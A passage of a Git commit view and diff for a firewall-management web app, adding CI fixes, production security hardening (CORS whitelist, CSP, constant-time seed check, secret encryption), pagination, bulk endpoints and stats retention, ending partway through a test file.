7 Commits
Author SHA1 Message Date
Denozordec a0f0bff65a fix(ci): typecheck через turbo с зависимостью ^build
quality / commitlint (push) Skipped
quality / changes (push) Successful in 7s
quality / docker-check (push) Skipped
quality / openapi (push) Successful in 26s
quality / web (push) Successful in 46s
quality / api (push) Successful in 46s
CD / quality (push) Successful in 2m10s
CD / publish (push) Successful in 11m37s
tsc в apps/api резолвит @evofw/db и @evofw/shared через dist/*.d.ts —
прямой запуск до сборки падает с Cannot find module. Задача typecheck
добавлена в turbo.json с dependsOn ^build; CI запускает её через turbo
2026-09-20 20:45:34 +07:00
Denozordec 75661f7443 fix(ci): полный fetch в changes-job для мульти-коммитных пушей
quality / commitlint (push) Skipped
quality / changes (push) Successful in 7s
quality / docker-check (push) Skipped
quality / openapi (push) Successful in 52s
quality / web (push) Successful in 55s
quality / api (push) Failing after 32s
CD / quality (push) Failing after 2m32s
CD / publish (push) Skipped
push с несколькими коммитами: before_sha лежит глубже fetch-depth:2 и
git diff падает bad object. Теперь checkout с полной историей; плюс
защитный fallback на HEAD~1, если before_sha не резолвится
2026-09-20 20:31:13 +07:00
Denozordec 15b5cce8cc chore(ci): request-id, RBAC stats, web-тесты и гигиена CI
quality / commitlint (push) Skipped
quality / changes (push) Failing after 8s
quality / openapi (push) Skipped
quality / web (push) Skipped
quality / api (push) Skipped
CD / quality (push) Failing after 9s
quality / docker-check (push) Skipped
CD / publish (push) Skipped
- genReqId (uuid) + x-request-id в каждом ответе и request_id в error
  envelope — корреляция ошибок между клиентом и логами
- RBAC: /agents/:id/(stats|blocked-ips|blocked-ports) классифицируются
  как fw:stats:read (reset остаётся под fw:agents:write)
- web: test-скрипт + 10 unit-тестов (filter-utils, fleet-kpis, parseClaims, nav)
- typecheck-скрипты для api/shared/db; CI: тесты shared и web, typecheck
  всех пакетов
- гигиена: .node-version (22), актуальный .dockerignore, drizzle out →
  ./migrations, удалены 12 лишних .gitkeep и пустой apps/api/test
2026-09-20 20:08:14 +07:00
Denozordec 3dc8e6d5e2 refactor(web): общие форматтеры, единая навигация, RBAC-гейтинг и чистка мёртвого кода
- lib/format.ts: ru-RU форматтеры дат/чисел в одном месте — убраны дубли
  из 8 компонентов (agent-card, fleet-grid, blocked-ips/ports, facts,
  lifecycle, host-firewall, lists-columns, system-monitor)
- lib/nav.ts: единый конфиг маршрутов — sidebar, ⌘K-поиск и breadcrumbs
  рендерятся из одного источника (было 3 расходящихся копии)
- lib/permissions.ts + useCan: клиентский RBAC — кнопки создания/подтверждения
  скрываются без fw:*:write/admin (сервер остаётся авторитетным)
- удалён мёртвый код ~2500 строк: stepper, data-grid dnd/virtual/visibility
  варианты, settings-shell
2026-09-20 19:36:37 +07:00
Denozordec 7a3f1fad25 perf(api): ретенция статистики, устранение N+1 и пагинация списков
- retention: ежедневный cron (03:17) + запуск на старте удаляет сырые
  agent_stats_samples старше STATS_RETENTION_DAYS (по умолчанию 30);
  lifetime-итоги на агенте и агрегаты сохраняются
- N+1 на поллинг-пути агента: evaluateAgentPolicy теперь делает по одному
  батч-запросу на записи списков / резолвы hostname / имена списков вместо
  запроса на каждое правило; mapPolicyRules и port-rules GET — аналогично
- пагинация: GET /agents, /lists, /rules, /install-links принимают
  limit/offset и возвращают total; без параметров — прежнее поведение
- openapi.yaml: approve-bulk, PUT /policy-sets/{id}/agents, параметры
  пагинации (redocly lint OK); тесты (47 passed)
2026-09-20 19:20:30 +07:00
Denozordec 454c5009d1 fix(web): error/404 экраны, сплит бандла и bulk-мутации
- RouteErrorComponent/RouteNotFoundComponent на root-маршруте (RU-копирайт,
  retry + переход на главную; redirect в портал не мигает ошибкой)
- settings: форма инициализируется один раз — фоновый refetch больше не
  затирает ввод пользователя
- code splitting: autoCodeSplitting роутов + manualChunks (react/router/query/
  charts/dnd); вход ~507KB вместо единого чанка 1.57MB, recharts (330KB) грузится
  лениво; версия recharts в packages/ui выровнена с apps/web (3.8.0)
- bulk-эндпоинты: POST /agents/approve-bulk и PUT /policy-sets/:id/agents —
  назначение набора агентам одним запросом вместо N×(GET+PUT)
- оптимистичные обновления с rollback: approve, approve-bulk, удаление агента,
  переключение набора
- тесты bulk-операций (45 passed)
2026-09-20 19:12:58 +07:00
Denozordec 40030ce06c fix(api): fail-safe прод-старт, транзакции и санитизация install-скриптов
- прод-режим отказывается стартовать без AUTH_REQUIRED и реальных секретов
  (opt-out через EVOFW_ALLOW_UNSAFE)
- CORS: whitelist через CORS_ORIGINS вместо origin:true; CSP для раздаваемого SPA
- транзакции для setAgentPolicySets, reorderPolicyRules, replaceResolvedForRule,
  replaceIpListEntries
- install-скрипты: Zod-валидация имени ссылки, экранирование $ и контрольных
  символов в RouterOS-рендере
- constant-time сравнение enroll-seed
- опциональное шифрование токена EvoBGP в БД (EVOFW_SECRET_KEY, AES-256-GCM)
  и маскирование per-list api_token в ответах
- graceful shutdown (SIGTERM/SIGINT) + тесты
2026-09-20 18:51:47 +07:00
96 changed files with 1943 additions and 2468 deletions

No files matched your search

-2
View File
@@ -21,7 +21,6 @@ node_modules
**/node_modules
**/dist
apps/web/src/routeTree.gen.ts
apps/web/playwright-report
apps/web/test-results
*.md
@@ -30,7 +29,6 @@ CONTRIBUTING.md
LICENSE
docs
.pre-commit-config.yaml
.releaserc.json
.commitlintrc.*
commitlint.config.cjs
+9
View File
@@ -24,3 +24,12 @@ REUI_LICENSE_KEY=
# Server
SERVER_PORT=8080
# Security hardening (prod)
# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true
# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов.
# EVOFW_ALLOW_UNSAFE=false
# Разрешённые CORS-origins через запятую; пусто = только same-origin
# CORS_ORIGINS=https://fw.example.com
# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования
# EVOFW_SECRET_KEY=
+15 -3
View File
@@ -46,7 +46,9 @@ jobs:
- if: ${{ inputs.is_pull_request == false }}
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
fetch-depth: 2
# Full history: before_sha may be many commits behind the new tip
# (multi-commit pushes) and must exist locally for git diff.
fetch-depth: 0
- id: detect
name: Detect changed paths per module
env:
@@ -80,7 +82,14 @@ jobs:
else
after="${HEAD_SHA:-$(git rev-parse HEAD)}"
before="$BEFORE_SHA"
# Guard: a stale/unresolvable before_sha must not fail the pipeline.
if [ -n "$before" ] && [ "$before" != "0000000000000000000000000000000000000000" ]; then
if ! git cat-file -e "$before^{commit}" 2>/dev/null; then
echo "::warning::before_sha $before not resolvable, falling back to HEAD~1"
before=""
fi
fi
if [ -n "$before" ]; then
FILES="$(git diff --name-only "$before" "$after")"
elif git rev-parse --verify HEAD~1 >/dev/null 2>&1; then
FILES="$(git diff --name-only HEAD~1 HEAD)"
@@ -221,6 +230,7 @@ jobs:
set -euxo pipefail
sh scripts/ci/pnpm-ci.sh
pnpm --filter @evofw/web run typecheck
pnpm --filter @evofw/web run test
pnpm --filter @evofw/web run build
api:
@@ -251,13 +261,15 @@ jobs:
key: pnpm-${{ runner.os }}-${{ steps.pnpm-hash.outputs.key }}
restore-keys: |
pnpm-${{ runner.os }}-
- name: pnpm install, test, build
- name: pnpm install, typecheck, test, build
env:
PNPM_CACHE_HIT: ${{ steps.pnpm-cache.outputs.cache-hit }}
run: |
set -euxo pipefail
sh scripts/ci/pnpm-ci.sh
pnpm exec turbo run test --filter=@evofw/api
# turbo builds @evofw/{shared,db} first — api typecheck resolves their dist types
pnpm exec turbo run typecheck --filter=@evofw/api --filter=@evofw/db --filter=@evofw/shared
pnpm exec turbo run test --filter=@evofw/api --filter=@evofw/shared
pnpm exec turbo run build --filter=@evofw/api
commitlint:
+1
View File
@@ -0,0 +1 @@
22
+1
View File
@@ -5,6 +5,7 @@
"type": "module",
"scripts": {
"dev": "tsx watch src/server.ts",
"typecheck": "tsc --noEmit",
"build": "tsup src/server.ts --format esm --dts --publicDir src/agent-scripts && node -e \"const fs=require('fs');const p='dist/agent-scripts';fs.mkdirSync(p,{recursive:true});for(const f of fs.readdirSync('src/agent-scripts'))fs.copyFileSync('src/agent-scripts/'+f,p+'/'+f)\"",
"start": "node dist/server.js",
"test": "vitest run"
+54 -2
View File
@@ -33,20 +33,44 @@ export async function buildApp(opts: BuildAppOptions = {}) {
const app = Fastify({
logger: { level: config.logLevel },
genReqId: () => crypto.randomUUID(),
}).withTypeProvider<ZodTypeProvider>()
// Correlation id in every response and in the error envelope.
app.addHook('onSend', async (req, reply) => {
reply.header('x-request-id', req.id)
})
app.setValidatorCompiler(validatorCompiler)
app.setSerializerCompiler(serializerCompiler)
await app.register(import('@fastify/sensible'))
// CSP only guards the served SPA; in dev the Vite server proxies API
// requests same-origin and injects its own HMR scripts.
await app.register(import('@fastify/helmet'), {
contentSecurityPolicy: false,
contentSecurityPolicy:
config.staticDir !== null
? {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:'],
fontSrc: ["'self'", 'data:'],
// app-switcher talks to the auth portal directly from the browser
connectSrc: ["'self'", config.authPortalUrl],
objectSrc: ["'none'"],
baseUri: ["'self'"],
frameAncestors: ["'none'"],
},
}
: false,
})
await app.register(import('@fastify/rate-limit'), {
max: 300,
timeWindow: '1 minute',
})
await app.register(corsPlugin)
await app.register(corsPlugin, { config })
await app.register(errorHandlerPlugin)
await app.register(dbPlugin, { config, memory: opts.memory })
await app.register(authPlugin, { config })
@@ -122,6 +146,34 @@ export async function buildApp(opts: BuildAppOptions = {}) {
preventOverrun: true,
}),
)
// Raw stats samples grow ~1 row per agent per sync interval; drop old
// ones daily. Lifetime totals live on agents; aggregates are kept.
const runRetention = async () => {
const cutoff = new Date(
Date.now() - config.statsRetentionDays * 86_400_000,
).toISOString()
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
if (deleted > 0) {
app.log.info(
{ deleted, cutoff },
`stats retention: raw samples older than ${config.statsRetentionDays}d removed`,
)
}
}
app.scheduler.addCronJob(
new CronJob(
{ cronExpression: '17 3 * * *' },
new AsyncTask('stats-retention', runRetention, (err) => {
app.log.warn({ err }, 'stats retention failed')
}),
{ preventOverrun: true },
),
)
// First cleanup right at startup, not only after the next 03:17.
runRetention().catch((err) =>
app.log.warn({ err }, 'stats retention failed'),
)
}
return app
+74
View File
@@ -0,0 +1,74 @@
import { describe, it, expect, afterEach } from 'vitest'
import { loadConfig } from './config.js'
const SAVED: Record<string, string | undefined> = {}
const KEYS = [
'NODE_ENV',
'AUTH_REQUIRED',
'AUTH_JWT_SECRET',
'JWT_SECRET',
'EVOFW_ENROLL_SEED',
'EVOFW_ALLOW_UNSAFE',
]
afterEach(() => {
for (const k of KEYS) {
if (SAVED[k] === undefined) delete process.env[k]
else process.env[k] = SAVED[k]
}
})
function setEnv(vars: Record<string, string | undefined>) {
for (const [k, v] of Object.entries(vars)) {
if (!(k in SAVED)) SAVED[k] = process.env[k]
if (v === undefined) delete process.env[k]
else process.env[k] = v
}
}
describe('loadConfig production fail-safe', () => {
it('refuses insecure defaults in production', () => {
setEnv({
NODE_ENV: 'production',
AUTH_REQUIRED: undefined,
AUTH_JWT_SECRET: undefined,
JWT_SECRET: undefined,
EVOFW_ENROLL_SEED: undefined,
EVOFW_ALLOW_UNSAFE: undefined,
})
expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/)
setEnv({ AUTH_REQUIRED: 'true' })
expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/)
setEnv({ AUTH_JWT_SECRET: 'short' })
expect(() => loadConfig()).toThrow(/real secret/)
setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' })
expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/)
})
it('starts with explicit opt-out or full production config', () => {
setEnv({ EVOFW_ALLOW_UNSAFE: 'true' })
expect(() => loadConfig()).not.toThrow()
setEnv({
EVOFW_ALLOW_UNSAFE: undefined,
EVOFW_ENROLL_SEED: 'real-seed',
})
expect(() => loadConfig()).not.toThrow()
})
it('dev keeps permissive defaults', () => {
setEnv({
NODE_ENV: undefined,
AUTH_REQUIRED: undefined,
AUTH_JWT_SECRET: undefined,
EVOFW_ENROLL_SEED: undefined,
EVOFW_ALLOW_UNSAFE: undefined,
})
const config = loadConfig()
expect(config.authRequired).toBe(false)
expect(config.corsOrigins).toEqual([])
})
})
+44 -4
View File
@@ -13,6 +13,9 @@ export interface AppConfig {
authAuditIngestSecret: string | null
publicBaseUrl: string
enrollSeed: string
corsOrigins: string[]
secretKey: string | null
statsRetentionDays: number
}
function boolEnv(v: string | undefined, fallback: boolean): boolean {
@@ -20,16 +23,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean {
return v === '1' || v.toLowerCase() === 'true'
}
const DEV_JWT_SECRET = 'dev-secret-change-me'
const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me'
export function loadConfig(): AppConfig {
const isProd = process.env.NODE_ENV === 'production'
const jwtSecret =
process.env.AUTH_JWT_SECRET ??
process.env.JWT_SECRET ??
(isProd ? '' : 'dev-secret-change-me')
(isProd ? '' : DEV_JWT_SECRET)
return {
const config: AppConfig = {
databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db',
jwtSecret: jwtSecret || 'dev-secret-change-me',
jwtSecret: jwtSecret || DEV_JWT_SECRET,
jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24,
serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080,
staticDir: process.env.STATIC_DIR
@@ -54,6 +60,40 @@ export function loadConfig(): AppConfig {
enrollSeed:
process.env.EVOFW_ENROLL_SEED ??
process.env.BUNDLE_SEED_HEX ??
'dev-enroll-seed-change-me',
DEV_ENROLL_SEED,
corsOrigins: (process.env.CORS_ORIGINS ?? '')
.split(',')
.map((s) => s.trim().replace(/\/$/, ''))
.filter(Boolean),
secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null,
statsRetentionDays: Math.max(
1,
Math.min(3650, Number(process.env.STATS_RETENTION_DAYS ?? '30') || 30),
),
}
// Fail-safe: a production process must not start wide open or with
// well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit
// opt-out for isolated/lab deployments.
if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) {
const problems: string[] = []
if (!config.authRequired) {
problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)')
}
if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) {
problems.push('AUTH_JWT_SECRET is not set')
} else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) {
problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)')
}
if (config.enrollSeed === DEV_ENROLL_SEED) {
problems.push('EVOFW_ENROLL_SEED is not set')
}
if (problems.length > 0) {
throw new Error(
`Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`,
)
}
}
return config
}
View File
Whitespace-only changes.
+15 -2
View File
@@ -1,8 +1,21 @@
import type { FastifyInstance } from 'fastify'
import fp from 'fastify-plugin'
import type { AppConfig } from '../config.js'
async function corsPlugin(app: FastifyInstance) {
await app.register(import('@fastify/cors'), { origin: true })
async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) {
const allowed = opts.config.corsOrigins
await app.register(import('@fastify/cors'), {
// The SPA is served same-origin (or via the Vite dev proxy), so by
// default only non-CORS (same-origin/server-side) requests pass.
// CORS_ORIGINS opens specific origins explicitly.
origin: (origin, cb) => {
if (!origin || allowed.includes(origin.replace(/\/$/, ''))) {
cb(null, true)
} else {
cb(null, false)
}
},
})
}
export default fp(corsPlugin, { name: 'cors' })
+12 -3
View File
@@ -14,17 +14,25 @@ export class AppError extends Error {
}
async function errorHandlerPlugin(app: FastifyInstance) {
app.setErrorHandler((err, _req, reply) => {
app.setErrorHandler((err, req, reply) => {
if (err instanceof AppError) {
return reply.code(err.statusCode).send({
error: { code: err.code, message: err.message },
error: {
code: err.code,
message: err.message,
request_id: String(req.id),
},
})
}
if (err instanceof ZodError) {
const message =
err.issues.map((i) => i.message).join('; ') || 'Validation error'
return reply.code(400).send({
error: { code: 'VALIDATION_ERROR', message },
error: {
code: 'VALIDATION_ERROR',
message,
request_id: String(req.id),
},
})
}
const e = err as { statusCode?: number; message?: string }
@@ -38,6 +46,7 @@ async function errorHandlerPlugin(app: FastifyInstance) {
error: {
code: status >= 500 ? 'INTERNAL_ERROR' : 'VALIDATION_ERROR',
message,
request_id: String(req.id),
},
})
})
View File
Whitespace-only changes.
+10 -2
View File
@@ -1,5 +1,5 @@
import { readFileSync } from 'node:fs'
import { createHash } from 'node:crypto'
import { createHash, timingSafeEqual } from 'node:crypto'
import { join } from 'node:path'
import type { FastifyPluginAsync } from 'fastify'
import { repos } from '@evofw/db'
@@ -18,6 +18,14 @@ import {
const scriptsDir = resolveAgentScriptsDir()
/** Constant-time seed check; hash first so lengths always match. */
function seedMatches(presented: string | undefined, expected: string): boolean {
if (!presented) return false
const a = createHash('sha256').update(presented).digest()
const b = createHash('sha256').update(expected).digest()
return timingSafeEqual(a, b)
}
function sanitizeHostFirewall(raw: {
rules?: unknown[]
listeners?: unknown[]
@@ -92,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const seed = req.headers['x-evofw-seed']
const expected =
repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed
if (!seed || String(seed) !== expected) {
if (!seedMatches(String(seed ?? ''), expected)) {
throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401)
}
const body = enrollBodySchema.parse(req.body)
+39 -8
View File
@@ -5,6 +5,7 @@ import {
putAgentPolicySetsBodySchema,
patchAgentBodySchema,
cloneFromBodySchema,
agentIdsBodySchema,
} from '@evofw/shared'
import { AppError } from '../plugins/error-handler.js'
import { evaluateAgentPolicy, truncateCidrs } from '../services/policy/evaluate.js'
@@ -12,6 +13,7 @@ import { buildInstallUrls } from '../services/install-links.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
import { mapAgent } from '../services/row-mappers.js'
import { applyPagination } from '../services/pagination.js'
export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -19,11 +21,12 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
) => {
const { config } = opts
app.get('/agents', async () => {
const all = repos.listAgents(app.db)
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
return {
items: all.map((a) => {
app.get<{ Querystring: { limit?: string; offset?: string } }>(
'/agents',
async (req) => {
const all = repos.listAgents(app.db)
const linksByAgent = repos.mapActiveInstallLinksByAgentId(app.db)
const items = all.map((a) => {
const link = linksByAgent.get(a.id)
if (!link) {
return mapAgent(a)
@@ -38,9 +41,11 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
installCurl: urls.curl.by_slug,
installLinkId: link.id,
})
}),
}
})
})
const paged = applyPagination(items, req.query)
return { items: paged.items, total: paged.total }
},
)
app.get<{ Params: { id: string } }>('/agents/:id', async (req) => {
const a = repos.getAgent(app.db, req.params.id)
@@ -147,6 +152,32 @@ export const agentsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
return mapAgent(updated!)
})
app.post('/agents/approve-bulk', async (req) => {
const body = agentIdsBodySchema.parse(req.body)
const now = new Date().toISOString()
const approved: string[] = []
app.sqlite.transaction(() => {
for (const id of body.agent_ids) {
const a = repos.getAgent(app.db, id)
if (!a || (a.status !== 'pending' && a.status !== 'invited')) continue
repos.updateAgent(app.db, a.id, {
status: 'approved',
approvedAt: now,
})
repos.ensureSharedSetAssigned(app.db, a.id)
approved.push(a.id)
}
})()
auditMutation(app, config, req, {
action: 'agent.approve',
targetType: 'app_resource',
targetId: approved[0] ?? '',
summary: `Массовое одобрение агентов: ${approved.length}`,
details: { agent_ids: approved },
})
return { items: approved.map((id) => mapAgent(repos.getAgent(app.db, id)!)) }
})
app.post<{ Params: { id: string } }>('/agents/:id/revoke', async (req) => {
const a = repos.getAgent(app.db, req.params.id)
if (!a) throw new AppError('NOT_FOUND', 'Agent not found', 404)
+11 -5
View File
@@ -9,6 +9,7 @@ import {
import { hashToken } from '../plugins/auth.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
import { applyPagination } from '../services/pagination.js'
export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -16,11 +17,16 @@ export const installLinksRoutes: FastifyPluginAsync<{ config: AppConfig }> = asy
) => {
const { config } = opts
app.get('/install-links', async () => ({
items: repos
.listInstallLinks(app.db)
.map((row) => mapInstallLink(row, config.publicBaseUrl)),
}))
app.get<{ Querystring: { limit?: string; offset?: string } }>(
'/install-links',
async (req) => {
const items = repos
.listInstallLinks(app.db)
.map((row) => mapInstallLink(row, config.publicBaseUrl))
const paged = applyPagination(items, req.query)
return { items: paged.items, total: paged.total }
},
)
app.post('/install-links', async (req, reply) => {
const body = createInstallLinkBodySchema.parse(req.body)
+28 -22
View File
@@ -15,6 +15,8 @@ import {
} from '../services/lists/entries.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
import { maskListConfig, sealListConfig } from '../services/secret-cipher.js'
import { applyPagination } from '../services/pagination.js'
export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -22,26 +24,30 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
) => {
const { config } = opts
app.get('/lists', async () => {
const lists = repos.listIpLists(app.db)
const counts = repos.countEntriesByListIds(
app.db,
lists.map((l) => l.id),
)
const items = lists.map((l) => ({
id: l.id,
name: l.name,
type: l.type,
config_json: l.configJson,
content_hash: l.contentHash,
refreshed_at: l.refreshedAt,
last_error: l.lastError,
entry_count: counts.get(l.id) ?? 0,
created_at: l.createdAt,
updated_at: l.updatedAt,
}))
return { items }
})
app.get<{ Querystring: { limit?: string; offset?: string } }>(
'/lists',
async (req) => {
const lists = repos.listIpLists(app.db)
const counts = repos.countEntriesByListIds(
app.db,
lists.map((l) => l.id),
)
const items = lists.map((l) => ({
id: l.id,
name: l.name,
type: l.type,
config_json: maskListConfig(l.configJson),
content_hash: l.contentHash,
refreshed_at: l.refreshedAt,
last_error: l.lastError,
entry_count: counts.get(l.id) ?? 0,
created_at: l.createdAt,
updated_at: l.updatedAt,
}))
const paged = applyPagination(items, req.query)
return { items: paged.items, total: paged.total }
},
)
app.post('/lists', async (req) => {
const body = createIpListBodySchema.parse(req.body)
@@ -52,7 +58,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id,
name: body.name,
type,
configJson: JSON.stringify(body.config ?? {}),
configJson: sealListConfig({ ...(body.config ?? {}) }),
createdAt: new Date().toISOString(),
updatedAt: new Date().toISOString(),
})
@@ -81,7 +87,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
id: list!.id,
name: list!.name,
type: list!.type,
config_json: list!.configJson,
config_json: maskListConfig(list!.configJson),
created_at: list!.createdAt,
updated_at: list!.updatedAt,
}
+56
View File
@@ -3,6 +3,7 @@ import { repos } from '@evofw/db'
import {
createPolicySetBodySchema,
patchPolicySetBodySchema,
agentIdsBodySchema,
} from '@evofw/shared'
import { AppError } from '../plugins/error-handler.js'
import type { AppConfig } from '../config.js'
@@ -100,4 +101,59 @@ export const policySetsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async
}
return { ok: true }
})
/**
* Replace which agents have this set assigned: listed agents gain the set
* (other assignments preserved), unlisted agents lose it.
*/
app.put<{ Params: { id: string } }>(
'/policy-sets/:id/agents',
async (req) => {
const set = repos.getPolicySet(app.db, req.params.id)
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
const body = agentIdsBodySchema.parse(req.body)
const target = new Set(body.agent_ids)
for (const agentId of body.agent_ids) {
if (!repos.getAgent(app.db, agentId)) {
throw new AppError('NOT_FOUND', `Agent not found: ${agentId}`, 404)
}
}
const current = repos.listAgentIdsForSet(app.db, set.id)
const toAdd = body.agent_ids.filter((id) => !current.includes(id))
const toRemove = current.filter((id) => !target.has(id))
const applyAssignment = (agentId: string, withSet: boolean) => {
const others = repos
.listSetsForAgent(app.db, agentId)
.map((s) => s.setId)
.filter((id) => id !== set.id)
const next = withSet ? [...others, set.id] : others
repos.setAgentPolicySets(app.db, agentId, next)
}
app.sqlite.transaction(() => {
for (const agentId of toAdd) applyAssignment(agentId, true)
for (const agentId of toRemove) applyAssignment(agentId, false)
})()
auditMutation(app, config, req, {
action: 'policy_set.agents.update',
targetType: 'app_resource',
targetId: set.id,
summary: `Назначение набора ${set.name} обновлено`,
details: {
set_id: set.id,
added: toAdd,
removed: toRemove,
},
})
return {
agent_ids: repos.listAgentIdsForSet(app.db, set.id),
added: toAdd,
removed: toRemove,
}
},
)
}
+11 -6
View File
@@ -63,12 +63,17 @@ export const portAclRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
const items = repos.listAgentPortRules(app.db, agent.id).map((row) => {
const listName = row.listId
? repos.getIpList(app.db, row.listId)?.name
: null
return mapPortRule(row, listName)
})
const rows = repos.listAgentPortRules(app.db, agent.id)
const listNames = repos.mapIpListNames(
app.db,
rows.map((r) => r.listId).filter((id): id is string => Boolean(id)),
)
const items = rows.map((row) =>
mapPortRule(
row,
row.listId ? (listNames.get(row.listId) ?? null) : null,
),
)
return { items }
},
)
+23 -22
View File
@@ -12,7 +12,8 @@ import {
} from '../services/policy/resolve-hostname.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
import { mapPolicyRule } from '../services/row-mappers.js'
import { mapPolicyRule, mapPolicyRules } from '../services/row-mappers.js'
import { applyPagination } from '../services/pagination.js'
export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -26,29 +27,28 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const s = repos.getPolicySet(app.db, req.params.id)
if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
return {
items: repos
.listPolicyRules(app.db, s.id)
.map((r) => mapPolicyRule(r, app.db)),
items: mapPolicyRules(repos.listPolicyRules(app.db, s.id), app.db),
}
},
)
app.get<{ Querystring: { set_id?: string; agent_id?: string } }>(
'/rules',
async (req) => {
if (req.query.agent_id) {
return {
items: repos
.listPolicyRulesForAgent(app.db, req.query.agent_id)
.map((r) => mapPolicyRule(r, app.db)),
}
app.get<{
Querystring: { set_id?: string; agent_id?: string; limit?: string; offset?: string }
}>('/rules', async (req) => {
if (req.query.agent_id) {
return {
items: mapPolicyRules(
repos.listPolicyRulesForAgent(app.db, req.query.agent_id),
app.db,
),
}
const items = repos
.listPolicyRules(app.db, req.query.set_id)
.map((r) => mapPolicyRule(r, app.db))
return { items }
},
)
}
const paged = applyPagination(
mapPolicyRules(repos.listPolicyRules(app.db, req.query.set_id), app.db),
req.query,
)
return { items: paged.items, total: paged.total }
})
app.post('/rules', async (req) => {
const body = createPolicyRuleBodySchema.parse(req.body)
@@ -174,9 +174,10 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
details: { set_id: s.id, ordered_ids: body.ordered_ids },
})
return {
items: repos
.listPolicyRules(app.db, s.id)
.map((r) => mapPolicyRule(r, app.db)),
items: mapPolicyRules(
repos.listPolicyRules(app.db, s.id),
app.db,
),
}
},
)
+6 -1
View File
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
import { repos } from '@evofw/db'
import { putSettingsBodySchema } from '@evofw/shared'
import type { AppConfig } from '../config.js'
import { encryptSecret } from '../services/secret-cipher.js'
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const body = putSettingsBodySchema.parse(req.body)
for (const [k, v] of Object.entries(body)) {
if (k === 'evobgp_api_token' && v === '********') continue
repos.setSetting(app.db, k, v)
repos.setSetting(
app.db,
k,
k === 'evobgp_api_token' ? encryptSecret(v) : v,
)
}
return { ok: true }
})
+14
View File
@@ -38,3 +38,17 @@ try {
app.log.error(err)
process.exit(1)
}
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
process.on(signal, () => {
app.log.info(`${signal} received, shutting down`)
app
.close()
.then(() => process.exit(0))
.catch((err) => {
app.log.error(err, 'error during shutdown')
process.exit(1)
})
})
}
View File
Whitespace-only changes.
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
describe('agents CRUD critical paths', () => {
+155
View File
@@ -0,0 +1,155 @@
import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function createInvitedAgent(
app: Awaited<ReturnType<typeof buildApp>>,
name: string,
): Promise<string> {
